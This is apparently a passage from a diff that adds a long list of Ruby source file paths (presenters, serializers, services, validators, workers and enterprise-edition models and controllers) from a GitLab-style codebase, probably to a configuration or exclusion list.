+ - app/presenters/snippet_presenter.rb
+ - app/presenters/todo_presenter.rb
+ - app/presenters/tree_entry_presenter.rb
+ - app/presenters/user_presenter.rb
+ - app/presenters/web_hook_log_presenter.rb
+ - app/serializers/accessibility_error_entity.rb
+ - app/serializers/accessibility_reports_comparer_entity.rb
+ - app/serializers/accessibility_reports_comparer_serializer.rb
+ - app/serializers/analytics_build_entity.rb
+ - app/serializers/analytics_build_serializer.rb
+ - app/serializers/analytics_commit_entity.rb
+ - app/serializers/analytics_commit_serializer.rb
+ - app/serializers/analytics_generic_serializer.rb
+ - app/serializers/analytics_issue_entity.rb
+ - app/serializers/analytics_issue_serializer.rb
+ - app/serializers/analytics_merge_request_entity.rb
+ - app/serializers/analytics_merge_request_serializer.rb
+ - app/serializers/analytics_stage_entity.rb
+ - app/serializers/analytics_stage_serializer.rb
+ - app/serializers/analytics_summary_entity.rb
+ - app/serializers/analytics_summary_serializer.rb
+ - app/serializers/award_emoji_entity.rb
+ - app/serializers/base_discussion_entity.rb
+ - app/serializers/base_serializer.rb
+ - app/serializers/blob_entity.rb
+ - app/serializers/board_serializer.rb
+ - app/serializers/board_simple_entity.rb
+ - app/serializers/build_action_entity.rb
+ - app/serializers/build_artifact_entity.rb
+ - app/serializers/build_coverage_entity.rb
+ - app/serializers/build_details_entity.rb
+ - app/serializers/build_metadata_entity.rb
+ - app/serializers/build_serializer.rb
+ - app/serializers/build_trace_entity.rb
+ - app/serializers/build_trace_serializer.rb
+ - app/serializers/cluster_application_entity.rb
+ - app/serializers/cluster_entity.rb
+ - app/serializers/cluster_error_entity.rb
+ - app/serializers/cluster_serializer.rb
+ - app/serializers/codequality_degradation_entity.rb
+ - app/serializers/codequality_reports_comparer_entity.rb
+ - app/serializers/codequality_reports_comparer_serializer.rb
+ - app/serializers/cohort_activity_month_entity.rb
+ - app/serializers/cohort_entity.rb
+ - app/serializers/cohorts_entity.rb
+ - app/serializers/cohorts_serializer.rb
+ - app/serializers/commit_entity.rb
+ - app/serializers/container_repositories_serializer.rb
+ - app/serializers/container_repository_entity.rb
+ - app/serializers/container_tag_entity.rb
+ - app/serializers/container_tags_serializer.rb
+ - app/serializers/context_commits_diff_entity.rb
+ - app/serializers/current_board_entity.rb
+ - app/serializers/current_board_serializer.rb
+ - app/serializers/current_user_entity.rb
+ - app/serializers/deploy_key_entity.rb
+ - app/serializers/deploy_key_serializer.rb
+ - app/serializers/deploy_keys_project_entity.rb
+ - app/serializers/deployment_cluster_entity.rb
+ - app/serializers/deployment_entity.rb
+ - app/serializers/deployment_serializer.rb
+ - app/serializers/detailed_status_entity.rb
+ - app/serializers/diff_file_base_entity.rb
+ - app/serializers/diff_file_entity.rb
+ - app/serializers/diff_file_metadata_entity.rb
+ - app/serializers/diff_line_entity.rb
+ - app/serializers/diff_line_parallel_entity.rb
+ - app/serializers/diff_line_serializer.rb
+ - app/serializers/diff_viewer_entity.rb
+ - app/serializers/diffs_entity.rb
+ - app/serializers/diffs_metadata_entity.rb
+ - app/serializers/diffs_metadata_serializer.rb
+ - app/serializers/diffs_serializer.rb
+ - app/serializers/discussion_diff_file_entity.rb
+ - app/serializers/discussion_entity.rb
+ - app/serializers/discussion_serializer.rb
+ - app/serializers/draft_note_entity.rb
+ - app/serializers/draft_note_serializer.rb
+ - app/serializers/entity_request.rb
+ - app/serializers/environment_entity.rb
+ - app/serializers/environment_serializer.rb
+ - app/serializers/environment_status_entity.rb
+ - app/serializers/environment_status_serializer.rb
+ - app/serializers/feature_flag_entity.rb
+ - app/serializers/feature_flag_scope_entity.rb
+ - app/serializers/feature_flag_serializer.rb
+ - app/serializers/feature_flag_summary_entity.rb
+ - app/serializers/feature_flag_summary_serializer.rb
+ - app/serializers/feature_flags_client_entity.rb
+ - app/serializers/feature_flags_client_serializer.rb
+ - app/serializers/fork_namespace_entity.rb
+ - app/serializers/fork_namespace_serializer.rb
+ - app/serializers/group_analytics_stage_entity.rb
+ - app/serializers/group_analytics_stage_serializer.rb
+ - app/serializers/group_basic_entity.rb
+ - app/serializers/group_child_entity.rb
+ - app/serializers/group_child_serializer.rb
+ - app/serializers/group_deploy_key_entity.rb
+ - app/serializers/group_deploy_key_serializer.rb
+ - app/serializers/group_deploy_keys_group_entity.rb
+ - app/serializers/group_entity.rb
+ - app/serializers/group_group_link_entity.rb
+ - app/serializers/group_group_link_serializer.rb
+ - app/serializers/group_issuable_autocomplete_entity.rb
+ - app/serializers/group_issuable_autocomplete_serializer.rb
+ - app/serializers/group_serializer.rb
+ - app/serializers/issuable_entity.rb
+ - app/serializers/issuable_sidebar_basic_entity.rb
+ - app/serializers/issuable_sidebar_extras_entity.rb
+ - app/serializers/issuable_sidebar_todo_entity.rb
+ - app/serializers/issue_board_entity.rb
+ - app/serializers/issue_entity.rb
+ - app/serializers/issue_serializer.rb
+ - app/serializers/issue_sidebar_basic_entity.rb
+ - app/serializers/issue_sidebar_extras_entity.rb
+ - app/serializers/job_artifact_report_entity.rb
+ - app/serializers/job_entity.rb
+ - app/serializers/job_group_entity.rb
+ - app/serializers/label_entity.rb
+ - app/serializers/label_serializer.rb
+ - app/serializers/lfs_file_lock_entity.rb
+ - app/serializers/lfs_file_lock_serializer.rb
+ - app/serializers/linked_issue_entity.rb
+ - app/serializers/linked_project_issue_entity.rb
+ - app/serializers/linked_project_issue_serializer.rb
+ - app/serializers/member_entity.rb
+ - app/serializers/member_serializer.rb
+ - app/serializers/member_user_entity.rb
+ - app/serializers/merge_request_basic_entity.rb
+ - app/serializers/merge_request_create_entity.rb
+ - app/serializers/merge_request_create_serializer.rb
+ - app/serializers/merge_request_current_user_entity.rb
+ - app/serializers/merge_request_diff_entity.rb
+ - app/serializers/merge_request_for_pipeline_entity.rb
+ - app/serializers/merge_request_metrics_entity.rb
+ - app/serializers/merge_request_noteable_entity.rb
+ - app/serializers/merge_request_poll_cached_widget_entity.rb
+ - app/serializers/merge_request_poll_widget_entity.rb
+ - app/serializers/merge_request_serializer.rb
+ - app/serializers/merge_request_sidebar_basic_entity.rb
+ - app/serializers/merge_request_sidebar_extras_entity.rb
+ - app/serializers/merge_request_user_entity.rb
+ - app/serializers/merge_request_widget_commit_entity.rb
+ - app/serializers/merge_request_widget_entity.rb
+ - app/serializers/move_to_project_entity.rb
+ - app/serializers/move_to_project_serializer.rb
+ - app/serializers/namespace_basic_entity.rb
+ - app/serializers/namespace_serializer.rb
+ - app/serializers/note_attachment_entity.rb
+ - app/serializers/note_entity.rb
+ - app/serializers/note_user_entity.rb
+ - app/serializers/paginated_diff_entity.rb
+ - app/serializers/paginated_diff_serializer.rb
+ - app/serializers/pipeline_details_entity.rb
+ - app/serializers/pipeline_entity.rb
+ - app/serializers/pipeline_serializer.rb
+ - app/serializers/project_entity.rb
+ - app/serializers/project_import_entity.rb
+ - app/serializers/project_mirror_entity.rb
+ - app/serializers/project_mirror_serializer.rb
+ - app/serializers/project_note_entity.rb
+ - app/serializers/project_note_serializer.rb
+ - app/serializers/project_serializer.rb
+ - app/serializers/prometheus_alert_entity.rb
+ - app/serializers/prometheus_alert_serializer.rb
+ - app/serializers/prometheus_metric_entity.rb
+ - app/serializers/prometheus_metric_serializer.rb
+ - app/serializers/release_entity.rb
+ - app/serializers/release_serializer.rb
+ - app/serializers/remote_mirror_entity.rb
+ - app/serializers/review_app_setup_entity.rb
+ - app/serializers/review_app_setup_serializer.rb
+ - app/serializers/rollout_status_entity.rb
+ - app/serializers/route_entity.rb
+ - app/serializers/route_serializer.rb
+ - app/serializers/runner_entity.rb
+ - app/serializers/service_event_entity.rb
+ - app/serializers/service_event_serializer.rb
+ - app/serializers/service_field_entity.rb
+ - app/serializers/service_field_serializer.rb
+ - app/serializers/stage_entity.rb
+ - app/serializers/stage_serializer.rb
+ - app/serializers/suggestion_entity.rb
+ - app/serializers/suggestion_serializer.rb
+ - app/serializers/test_case_entity.rb
+ - app/serializers/test_report_entity.rb
+ - app/serializers/test_report_serializer.rb
+ - app/serializers/test_report_summary_entity.rb
+ - app/serializers/test_report_summary_serializer.rb
+ - app/serializers/test_reports_comparer_entity.rb
+ - app/serializers/test_reports_comparer_serializer.rb
+ - app/serializers/test_suite_comparer_entity.rb
+ - app/serializers/test_suite_entity.rb
+ - app/serializers/test_suite_serializer.rb
+ - app/serializers/test_suite_summary_entity.rb
+ - app/serializers/trigger_variable_entity.rb
+ - app/serializers/triggered_pipeline_entity.rb
+ - app/serializers/user_entity.rb
+ - app/serializers/user_preference_entity.rb
+ - app/serializers/user_serializer.rb
+ - app/serializers/web_ide_terminal_entity.rb
+ - app/serializers/web_ide_terminal_serializer.rb
+ - app/services/access_token_validation_service.rb
+ - app/services/audit_event_service.rb
+ - app/services/auto_merge_service.rb
+ - app/services/base_container_service.rb
+ - app/services/base_count_service.rb
+ - app/services/base_project_service.rb
+ - app/services/base_renderer.rb
+ - app/services/base_service.rb
+ - app/services/bulk_create_integration_service.rb
+ - app/services/bulk_import_service.rb
+ - app/services/bulk_push_event_payload_service.rb
+ - app/services/bulk_update_integration_service.rb
+ - app/services/cohorts_service.rb
+ - app/services/compare_service.rb
+ - app/services/container_expiration_policy_service.rb
+ - app/services/event_create_service.rb
+ - app/services/gravatar_service.rb
+ - app/services/import_export_clean_up_service.rb
+ - app/services/issuable_base_service.rb
+ - app/services/issue_rebalancing_service.rb
+ - app/services/markdown_content_rewriter_service.rb
+ - app/services/merge_request_metrics_service.rb
+ - app/services/metrics_service.rb
+ - app/services/note_summary.rb
+ - app/services/notification_service.rb
+ - app/services/onboarding_progress_service.rb
+ - app/services/post_receive_service.rb
+ - app/services/preview_markdown_service.rb
+ - app/services/push_event_payload_service.rb
+ - app/services/repository_archive_clean_up_service.rb
+ - app/services/reset_project_cache_service.rb
+ - app/services/search_service.rb
+ - app/services/service_response.rb
+ - app/services/service_ping/submit_service.rb
+ - app/services/system_hooks_service.rb
+ - app/services/task_list_toggle_service.rb
+ - app/services/todo_service.rb
+ - app/services/update_container_registry_info_service.rb
+ - app/services/upload_service.rb
+ - app/services/user_agent_detail_service.rb
+ - app/services/user_project_access_changed_service.rb
+ - app/services/verify_pages_domain_service.rb
+ - app/services/web_hook_service.rb
+ - app/services/x509_certificate_revoke_service.rb
+ - app/uploaders/attachment_uploader.rb
+ - app/uploaders/avatar_uploader.rb
+ - app/uploaders/deleted_object_uploader.rb
+ - app/uploaders/dependency_proxy/file_uploader.rb
+ - app/uploaders/external_diff_uploader.rb
+ - app/uploaders/favicon_uploader.rb
+ - app/uploaders/file_mover.rb
+ - app/uploaders/file_uploader.rb
+ - app/uploaders/gitlab_uploader.rb
+ - app/uploaders/import_export_uploader.rb
+ - app/uploaders/job_artifact_uploader.rb
+ - app/uploaders/lfs_object_uploader.rb
+ - app/uploaders/namespace_file_uploader.rb
+ - app/uploaders/personal_file_uploader.rb
+ - app/validators/abstract_path_validator.rb
+ - app/validators/addressable_url_validator.rb
+ - app/validators/any_field_validator.rb
+ - app/validators/array_members_validator.rb
+ - app/validators/branch_filter_validator.rb
+ - app/validators/certificate_fingerprint_validator.rb
+ - app/validators/certificate_key_validator.rb
+ - app/validators/certificate_validator.rb
+ - app/validators/cluster_name_validator.rb
+ - app/validators/color_validator.rb
+ - app/validators/cron_freeze_period_timezone_validator.rb
+ - app/validators/cron_timezone_validator.rb
+ - app/validators/cron_validator.rb
+ - app/validators/devise_email_validator.rb
+ - app/validators/duration_validator.rb
+ - app/validators/feature_flag_strategies_validator.rb
+ - app/validators/feature_flag_user_xids_validator.rb
+ - app/validators/future_date_validator.rb
+ - app/validators/html_safety_validator.rb
+ - app/validators/ip_address_validator.rb
+ - app/validators/js_regex_validator.rb
+ - app/validators/json_schema_validator.rb
+ - app/validators/key_restriction_validator.rb
+ - app/validators/line_code_validator.rb
+ - app/validators/named_ecdsa_key_validator.rb
+ - app/validators/namespace_path_validator.rb
+ - app/validators/project_path_validator.rb
+ - app/validators/public_url_validator.rb
+ - app/validators/qualified_domain_array_validator.rb
+ - app/validators/rsa_key_validator.rb
+ - app/validators/same_project_association_validator.rb
+ - app/validators/sha_validator.rb
+ - app/validators/system_hook_url_validator.rb
+ - app/validators/top_level_group_validator.rb
+ - app/validators/untrusted_regexp_validator.rb
+ - app/validators/nested_attributes_duplicates_validator.rb
+ - app/validators/x509_certificate_credentials_validator.rb
+ - app/workers/admin_email_worker.rb
+ - app/workers/approve_blocked_pending_approval_users_worker.rb
+ - app/workers/archive_trace_worker.rb
+ - app/workers/authorized_keys_worker.rb
+ - app/workers/authorized_projects_worker.rb
+ - app/workers/auto_merge_process_worker.rb
+ - app/workers/background_migration_worker.rb
+ - app/workers/build_coverage_worker.rb
+ - app/workers/build_finished_worker.rb
+ - app/workers/build_hooks_worker.rb
+ - app/workers/build_queue_worker.rb
+ - app/workers/build_success_worker.rb
+ - app/workers/build_trace_sections_worker.rb
+ - app/workers/bulk_import_worker.rb
+ - app/workers/chat_notification_worker.rb
+ - app/workers/ci_platform_metrics_update_cron_worker.rb
+ - app/workers/cleanup_container_repository_worker.rb
+ - app/workers/cluster_configure_istio_worker.rb
+ - app/workers/cluster_install_app_worker.rb
+ - app/workers/cluster_patch_app_worker.rb
+ - app/workers/cluster_provision_worker.rb
+ - app/workers/cluster_update_app_worker.rb
+ - app/workers/cluster_upgrade_app_worker.rb
+ - app/workers/cluster_wait_for_app_installation_worker.rb
+ - app/workers/cluster_wait_for_app_update_worker.rb
+ - app/workers/cluster_wait_for_ingress_ip_address_worker.rb
+ - app/workers/container_expiration_policy_worker.rb
+ - app/workers/create_commit_signature_worker.rb
+ - app/workers/create_note_diff_file_worker.rb
+ - app/workers/create_pipeline_worker.rb
+ - app/workers/delete_container_repository_worker.rb
+ - app/workers/delete_diff_files_worker.rb
+ - app/workers/delete_merged_branches_worker.rb
+ - app/workers/delete_stored_files_worker.rb
+ - app/workers/delete_user_worker.rb
+ - app/workers/destroy_pages_deployments_worker.rb
+ - app/workers/detect_repository_languages_worker.rb
+ - app/workers/disallow_two_factor_for_group_worker.rb
+ - app/workers/disallow_two_factor_for_subgroups_worker.rb
+ - app/workers/email_receiver_worker.rb
+ - app/workers/emails_on_push_worker.rb
+ - app/workers/error_tracking_issue_link_worker.rb
+ - app/workers/expire_build_artifacts_worker.rb
+ - app/workers/expire_build_instance_artifacts_worker.rb
+ - app/workers/expire_job_cache_worker.rb
+ - app/workers/expire_pipeline_cache_worker.rb
+ - app/workers/export_csv_worker.rb
+ - app/workers/external_service_reactive_caching_worker.rb
+ - app/workers/file_hook_worker.rb
+ - app/workers/flush_counter_increments_worker.rb
+ - app/workers/git_garbage_collect_worker.rb
+ - app/workers/gitlab_performance_bar_stats_worker.rb
+ - app/workers/gitlab_shell_worker.rb
+ - app/workers/gitlab_service_ping_worker.rb
+ - app/workers/gitlab_usage_ping_worker.rb
+ - app/workers/group_destroy_worker.rb
+ - app/workers/group_export_worker.rb
+ - app/workers/group_import_worker.rb
+ - app/workers/import_export_project_cleanup_worker.rb
+ - app/workers/import_issues_csv_worker.rb
+ - app/workers/invalid_gpg_signature_update_worker.rb
+ - app/workers/irker_worker.rb
+ - app/workers/issuable_export_csv_worker.rb
+ - app/workers/issue_due_scheduler_worker.rb
+ - app/workers/issue_placement_worker.rb
+ - app/workers/issue_rebalancing_worker.rb
+ - app/workers/member_invitation_reminder_emails_worker.rb
+ - app/workers/merge_request_cleanup_refs_worker.rb
+ - app/workers/merge_request_mergeability_check_worker.rb
+ - app/workers/merge_worker.rb
+ - app/workers/migrate_external_diffs_worker.rb
+ - app/workers/namespaceless_project_destroy_worker.rb
+ - app/workers/new_issue_worker.rb
+ - app/workers/new_merge_request_worker.rb
+ - app/workers/new_note_worker.rb
+ - app/workers/pages_domain_removal_cron_worker.rb
+ - app/workers/pages_domain_ssl_renewal_cron_worker.rb
+ - app/workers/pages_domain_ssl_renewal_worker.rb
+ - app/workers/pages_domain_verification_cron_worker.rb
+ - app/workers/pages_domain_verification_worker.rb
+ - app/workers/pages_transfer_worker.rb
+ - app/workers/pages_update_configuration_worker.rb
+ - app/workers/pages_worker.rb
+ - app/workers/partition_creation_worker.rb
+ - app/workers/pipeline_hooks_worker.rb
+ - app/workers/pipeline_metrics_worker.rb
+ - app/workers/pipeline_notification_worker.rb
+ - app/workers/pipeline_process_worker.rb
+ - app/workers/pipeline_schedule_worker.rb
+ - app/workers/pipeline_update_worker.rb
+ - app/workers/post_receive.rb
+ - app/workers/process_commit_worker.rb
+ - app/workers/project_cache_worker.rb
+ - app/workers/project_daily_statistics_worker.rb
+ - app/workers/project_destroy_worker.rb
+ - app/workers/project_export_worker.rb
+ - app/workers/project_schedule_bulk_repository_shard_moves_worker.rb
+ - app/workers/project_service_worker.rb
+ - app/workers/project_update_repository_storage_worker.rb
+ - app/workers/propagate_integration_group_worker.rb
+ - app/workers/propagate_integration_inherit_descendant_worker.rb
+ - app/workers/propagate_integration_inherit_worker.rb
+ - app/workers/propagate_integration_project_worker.rb
+ - app/workers/propagate_integration_worker.rb
+ - app/workers/propagate_service_template_worker.rb
+ - app/workers/prune_old_events_worker.rb
+ - app/workers/prune_web_hook_logs_worker.rb
+ - app/workers/purge_dependency_proxy_cache_worker.rb
+ - app/workers/reactive_caching_worker.rb
+ - app/workers/rebase_worker.rb
+ - app/workers/remote_mirror_notification_worker.rb
+ - app/workers/remove_expired_group_links_worker.rb
+ - app/workers/remove_expired_members_worker.rb
+ - app/workers/remove_unaccepted_member_invites_worker.rb
+ - app/workers/remove_unreferenced_lfs_objects_worker.rb
+ - app/workers/repository_archive_cache_worker.rb
+ - app/workers/repository_cleanup_worker.rb
+ - app/workers/repository_fork_worker.rb
+ - app/workers/repository_import_worker.rb
+ - app/workers/repository_remove_remote_worker.rb
+ - app/workers/repository_update_remote_mirror_worker.rb
+ - app/workers/requests_profiles_worker.rb
+ - app/workers/run_pipeline_schedule_worker.rb
+ - app/workers/schedule_merge_request_cleanup_refs_worker.rb
+ - app/workers/schedule_migrate_external_diffs_worker.rb
+ - app/workers/self_monitoring_project_create_worker.rb
+ - app/workers/self_monitoring_project_delete_worker.rb
+ - app/workers/service_desk_email_receiver_worker.rb
+ - app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb
+ - app/workers/snippet_update_repository_storage_worker.rb
+ - app/workers/stage_update_worker.rb
+ - app/workers/stuck_ci_jobs_worker.rb
+ - app/workers/stuck_export_jobs_worker.rb
+ - app/workers/stuck_merge_jobs_worker.rb
+ - app/workers/system_hook_push_worker.rb
+ - app/workers/trending_projects_worker.rb
+ - app/workers/update_container_registry_info_worker.rb
+ - app/workers/update_external_pull_requests_worker.rb
+ - app/workers/update_head_pipeline_for_merge_request_worker.rb
+ - app/workers/update_highest_role_worker.rb
+ - app/workers/update_merge_requests_worker.rb
+ - app/workers/update_project_statistics_worker.rb
+ - app/workers/upload_checksum_worker.rb
+ - app/workers/wait_for_cluster_creation_worker.rb
+ - app/workers/web_hook_worker.rb
+ - app/workers/x509_certificate_revoke_worker.rb
+ - app/workers/x509_issuer_crl_check_worker.rb
+ - ee/app/controllers/countries_controller.rb
+ - ee/app/controllers/country_states_controller.rb
+ - ee/app/controllers/omniauth_kerberos_spnego_controller.rb
+ - ee/app/controllers/operations_controller.rb
+ - ee/app/controllers/sitemap_controller.rb
+ - ee/app/controllers/smartcard_controller.rb
+ - ee/app/controllers/subscriptions_controller.rb
+ - ee/app/controllers/survey_responses_controller.rb
+ - ee/app/controllers/trial_registrations_controller.rb
+ - ee/app/controllers/trials_controller.rb
+ - ee/app/controllers/unsubscribes_controller.rb
+ - ee/app/controllers/usernames_controller.rb
+ - ee/app/finders/audit_log_finder.rb
+ - ee/app/finders/billed_users_finder.rb
+ - ee/app/finders/custom_project_templates_finder.rb
+ - ee/app/finders/dast_scanner_profiles_finder.rb
+ - ee/app/finders/dast_site_profiles_finder.rb
+ - ee/app/finders/dast_site_validations_finder.rb
+ - ee/app/finders/epics_finder.rb
+ - ee/app/finders/geo_node_finder.rb
+ - ee/app/finders/gpg_keys_finder.rb
+ - ee/app/finders/group_saml_identity_finder.rb
+ - ee/app/finders/groups_with_templates_finder.rb
+ - ee/app/finders/iterations_finder.rb
+ - ee/app/finders/licenses_finder.rb
+ - ee/app/finders/merge_requests_compliance_finder.rb
+ - ee/app/finders/merge_trains_finder.rb
+ - ee/app/finders/productivity_analytics_finder.rb
+ - ee/app/finders/scim_finder.rb
+ - ee/app/finders/software_license_policies_finder.rb
+ - ee/app/mailers/ci_minutes_usage_mailer.rb
+ - ee/app/mailers/credentials_inventory_mailer.rb
+ - ee/app/mailers/license_mailer.rb
+ - ee/app/mailers/previews/ci_minutes_usage_mailer_preview.rb
+ - ee/app/mailers/previews/license_mailer_preview.rb
+ - ee/app/models/allowed_email_domain.rb
+ - ee/app/models/approval_merge_request_rule.rb
+ - ee/app/models/approval_merge_request_rule_source.rb
+ - ee/app/models/approval_project_rule.rb
+ - ee/app/models/approval_project_rules_protected_branch.rb
+ - ee/app/models/approval_state.rb
+ - ee/app/models/approval_wrapped_any_approver_rule.rb
+ - ee/app/models/approval_wrapped_code_owner_rule.rb
+ - ee/app/models/approval_wrapped_rule.rb
+ - ee/app/models/approver.rb
+ - ee/app/models/approver_group.rb
+ - ee/app/models/board_assignee.rb
+ - ee/app/models/board_label.rb
+ - ee/app/models/board_user_preference.rb
+ - ee/app/models/burndown.rb
+ - ee/app/models/dast_scanner_profile.rb
+ - ee/app/models/dast_site.rb
+ - ee/app/models/dast_site_profile.rb
+ - ee/app/models/dast_site_token.rb
+ - ee/app/models/dast_site_validation.rb
+ - ee/app/models/elasticsearch_indexed_namespace.rb
+ - ee/app/models/elasticsearch_indexed_project.rb
+ - ee/app/models/epic_issue.rb
+ - ee/app/models/epic_user_mention.rb
+ - ee/app/models/feature_flag_issue.rb
+ - ee/app/models/geo_node.rb
+ - ee/app/models/geo_node_namespace_link.rb
+ - ee/app/models/geo_node_status.rb
+ - ee/app/models/gitlab_subscription.rb
+ - ee/app/models/gitlab_subscription_history.rb
+ - ee/app/models/group_deletion_schedule.rb
+ - ee/app/models/group_merge_request_approval_setting.rb
+ - ee/app/models/group_wiki.rb
+ - ee/app/models/group_wiki_repository.rb
+ - ee/app/models/historical_data.rb
+ - ee/app/models/hooks/group_hook.rb
+ - ee/app/models/index_status.rb
+ - ee/app/models/insight.rb
+ - ee/app/models/instance_security_dashboard.rb
+ - ee/app/models/ip_restriction.rb
+ - ee/app/models/issuable_metric_image.rb
+ - ee/app/models/issuable_sla.rb
+ - ee/app/models/issuables_analytics.rb
+ - ee/app/models/iteration_note.rb
+ - ee/app/models/ldap_group_link.rb
+ - ee/app/models/ldap_key.rb
+ - ee/app/models/license.rb
+ - ee/app/models/merge_request_block.rb
+ - ee/app/models/merge_request_diff_detail.rb
+ - ee/app/models/merge_train.rb
+ - ee/app/models/namespace_limit.rb
+ - ee/app/models/namespace_statistics.rb
+ - ee/app/models/path_lock.rb
+ - ee/app/models/pg_replication_slot.rb
+ - ee/app/models/productivity_analytics.rb
+ - ee/app/models/project_alias.rb
+ - ee/app/models/project_repository_state.rb
+ - ee/app/models/project_security_setting.rb
+ - ee/app/models/protected_environment.rb
+ - ee/app/models/push_rule.rb
+ - ee/app/models/resource_iteration_event.rb
+ - ee/app/models/resource_weight_event.rb
+ - ee/app/models/saml_group_link.rb
+ - ee/app/models/saml_provider.rb
+ - ee/app/models/scim_identity.rb
+ - ee/app/models/scim_oauth_access_token.rb
+ - ee/app/models/scoped_label_set.rb
+ - ee/app/models/slack_integration.rb
+ - ee/app/models/smartcard_identity.rb
+ - ee/app/models/software_license.rb
+ - ee/app/models/software_license_policy.rb
+ - ee/app/models/storage_shard.rb
+ - ee/app/models/user_permission_export_upload.rb
+ - ee/app/models/users_ops_dashboard_project.rb
+ - ee/app/models/users_security_dashboard_project.rb
+ - ee/app/models/vulnerability_user_mention.rb
+ - ee/app/models/weight_note.rb
+ - ee/app/policies/approval_merge_request_rule_policy.rb
+ - ee/app/policies/approval_project_rule_policy.rb
+ - ee/app/policies/approval_state_policy.rb
+ - ee/app/policies/dast_scanner_profile_policy.rb
+ - ee/app/policies/dast_site_profile_policy.rb
+ - ee/app/policies/dast_site_validation_policy.rb
+ - ee/app/policies/epic_policy.rb
+ - ee/app/policies/geo_node_policy.rb
+ - ee/app/policies/instance_security_dashboard_policy.rb
+ - ee/app/policies/issuable_metric_image_policy.rb
+ - ee/app/policies/iteration_policy.rb
+ - ee/app/policies/push_rule_policy.rb
+ - ee/app/policies/saml_provider_policy.rb
+ - ee/app/policies/vulnerability_policy.rb
+ - ee/app/presenters/approval_rule_presenter.rb
+ - ee/app/presenters/audit_event_presenter.rb
+ - ee/app/presenters/epic_issue_presenter.rb
+ - ee/app/presenters/epic_presenter.rb
+ - ee/app/presenters/iteration_presenter.rb
+ - ee/app/presenters/merge_request_approver_presenter.rb
+ - ee/app/presenters/subscription_presenter.rb
+ - ee/app/presenters/vulnerability_presenter.rb
+ - ee/app/serializers/audit_event_entity.rb
+ - ee/app/serializers/audit_event_serializer.rb
+ - ee/app/serializers/blocking_merge_request_entity.rb
+ - ee/app/serializers/board_assignee_entity.rb
+ - ee/app/serializers/board_label_entity.rb
+ - ee/app/serializers/board_milestone_entity.rb
+ - ee/app/serializers/dashboard_environment_entity.rb
+ - ee/app/serializers/dashboard_environments_project_entity.rb
+ - ee/app/serializers/dashboard_environments_serializer.rb
+ - ee/app/serializers/dashboard_operations_project_entity.rb
+ - ee/app/serializers/dashboard_operations_serializer.rb
+ - ee/app/serializers/dependency_entity.rb
+ - ee/app/serializers/dependency_list_entity.rb
+ - ee/app/serializers/dependency_list_serializer.rb
+ - ee/app/serializers/epic_base_entity.rb
+ - ee/app/serializers/epic_entity.rb
+ - ee/app/serializers/epic_note_entity.rb
+ - ee/app/serializers/epic_note_serializer.rb
+ - ee/app/serializers/epic_serializer.rb
+ - ee/app/serializers/file_lock_entity.rb
+ - ee/app/serializers/geo_design_registry_entity.rb
+ - ee/app/serializers/geo_design_registry_serializer.rb
+ - ee/app/serializers/geo_node_serializer.rb
+ - ee/app/serializers/geo_node_status_serializer.rb
+ - ee/app/serializers/geo_project_registry_entity.rb
+ - ee/app/serializers/geo_project_registry_serializer.rb
+ - ee/app/serializers/group_analytics_serializer.rb
+ - ee/app/serializers/group_vulnerability_autocomplete_entity.rb
+ - ee/app/serializers/group_vulnerability_autocomplete_serializer.rb
+ - ee/app/serializers/invited_group_entity.rb
+ - ee/app/serializers/invited_group_serializer.rb
+ - ee/app/serializers/iteration_serializer.rb
+ - ee/app/serializers/license_entity.rb
+ - ee/app/serializers/license_scanning_reports_comparer_entity.rb
+ - ee/app/serializers/license_scanning_reports_comparer_serializer.rb
+ - ee/app/serializers/license_scanning_reports_serializer.rb
+ - ee/app/serializers/licenses_list_entity.rb
+ - ee/app/serializers/licenses_list_serializer.rb
+ - ee/app/serializers/linked_epic_entity.rb
+ - ee/app/serializers/linked_epic_issue_entity.rb
+ - ee/app/serializers/linked_epic_issue_serializer.rb
+ - ee/app/serializers/linked_epic_serializer.rb
+ - ee/app/serializers/linked_feature_flag_issue_entity.rb
+ - ee/app/serializers/linked_feature_flag_issue_serializer.rb
+ - ee/app/serializers/managed_license_entity.rb
+ - ee/app/serializers/managed_license_serializer.rb
+ - ee/app/serializers/merge_request_compliance_entity.rb
+ - ee/app/serializers/metrics_report_metric_entity.rb
+ - ee/app/serializers/metrics_reports_comparer_entity.rb
+ - ee/app/serializers/metrics_reports_comparer_serializer.rb
+ - ee/app/serializers/milestone_serializer.rb
+ - ee/app/serializers/namespace_entity.rb
+ - ee/app/serializers/productivity_analytics_merge_request_entity.rb
+ - ee/app/serializers/report_list_entity.rb
+ - ee/app/serializers/scim_oauth_access_token_entity.rb
+ - ee/app/serializers/storage_shard_entity.rb
+ - ee/app/serializers/storage_shard_serializer.rb
+ - ee/app/serializers/user_analytics_entity.rb
+ - ee/app/serializers/vulnerability_entity.rb
+ - ee/app/serializers/vulnerability_note_entity.rb
+ - ee/app/serializers/vulnerability_note_serializer.rb
+ - ee/app/serializers/vulnerability_serializer.rb
+ - ee/app/services/clear_namespace_shared_runners_minutes_service.rb
+ - ee/app/services/ldap_group_reset_service.rb
+ - ee/app/services/start_pull_mirroring_service.rb
+ - ee/app/services/timebox_report_service.rb
+ - ee/app/uploaders/issuable_metric_image_uploader.rb
+ - ee/app/validators/host_validator.rb
+ - ee/app/validators/ldap_filter_validator.rb
+ - ee/app/workers/active_user_count_threshold_worker.rb
+ - ee/app/workers/adjourned_group_deletion_worker.rb
+ - ee/app/workers/adjourned_project_deletion_worker.rb
+ - ee/app/workers/adjourned_projects_deletion_cron_worker.rb
+ - ee/app/workers/admin_emails_worker.rb
+ - ee/app/workers/clear_shared_runners_minutes_worker.rb
+ - ee/app/workers/create_github_webhook_worker.rb
+ - ee/app/workers/dast_site_validation_worker.rb
+ - ee/app/workers/elastic_association_indexer_worker.rb
+ - ee/app/workers/elastic_cluster_reindexing_cron_worker.rb
+ - ee/app/workers/elastic_commit_indexer_worker.rb
+ - ee/app/workers/elastic_delete_project_worker.rb
+ - ee/app/workers/elastic_full_index_worker.rb
+ - ee/app/workers/elastic_index_bulk_cron_worker.rb
+ - ee/app/workers/elastic_index_initial_bulk_cron_worker.rb
+ - ee/app/workers/elastic_indexing_control_worker.rb
+ - ee/app/workers/elastic_namespace_indexer_worker.rb
+ - ee/app/workers/elastic_namespace_rollout_worker.rb
+ - ee/app/workers/elastic_remove_expired_namespace_subscriptions_from_index_cron_worker.rb
+ - ee/app/workers/geo_repository_destroy_worker.rb
+ - ee/app/workers/group_saml_group_sync_worker.rb
+ - ee/app/workers/historical_data_worker.rb
